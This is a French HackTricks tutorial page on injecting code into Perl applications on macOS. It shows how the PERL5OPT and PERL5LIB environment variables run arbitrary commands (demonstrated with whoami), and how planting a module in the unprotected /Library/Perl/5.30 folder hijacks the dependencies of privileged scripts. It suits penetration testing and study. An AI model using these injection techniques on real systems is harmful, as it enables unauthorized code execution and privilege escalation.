macOS Perl Applications Injection

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Via la variable d'environnement PERL5OPT & PERL5LIB

En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par Perl. Par exemple, créez ce script :

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

Maintenant exportez la variable d'environnement et exécutez le script perl :

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

Une autre option consiste à créer un module Perl (par exemple, /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

Et ensuite utiliser les variables d'environnement :

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

Via dépendances

Il est possible de lister l'ordre des dossiers de dépendances de Perl en cours d'exécution :

perl -e 'print join("\n", @INC)'

Ce qui renverra quelque chose comme :

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

Certains des dossiers retournés n'existent même pas, cependant, /Library/Perl/5.30 existe, il n'est pas protégé par SIP et il est avant les dossiers protégés par SIP. Par conséquent, quelqu'un pourrait abuser de ce dossier pour ajouter des dépendances de script afin qu'un script Perl à haut privilège le charge.

Cependant, notez que vous devez être root pour écrire dans ce dossier et de nos jours, vous obtiendrez cette invite TCC :

Par exemple, si un script importe use File::Basename;, il serait possible de créer /Library/Perl/5.30/File/Basename.pm pour exécuter du code arbitraire.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks :

Dernière mise à jour